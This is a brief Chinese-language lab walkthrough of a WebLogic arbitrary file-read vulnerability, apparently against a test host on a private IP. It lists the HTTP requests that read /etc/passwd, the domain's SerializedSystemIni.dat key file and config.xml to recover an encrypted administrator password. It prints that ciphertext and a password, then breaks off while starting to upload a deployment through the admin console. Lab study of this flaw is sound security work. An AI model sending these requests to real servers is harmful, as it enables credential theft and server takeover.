weblogic 文件读取漏洞


访问http://192.168.15.136:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件


GET /hello/file.jsp?path=security/SerializedSystemIni.dat HTTP/1.1

是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键copy to file就可以保存成一个文件：



GET /hello/file.jsp?path=config/config.xml HTTP/1.1
找到其中的的值，即为加密后的管理员密码


{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

不知道为啥解不出来 Oracle@123
取到管理员密码后，登录后台。点击左侧的部署，可见一个应用列表

点击安装，选择“上载文件”：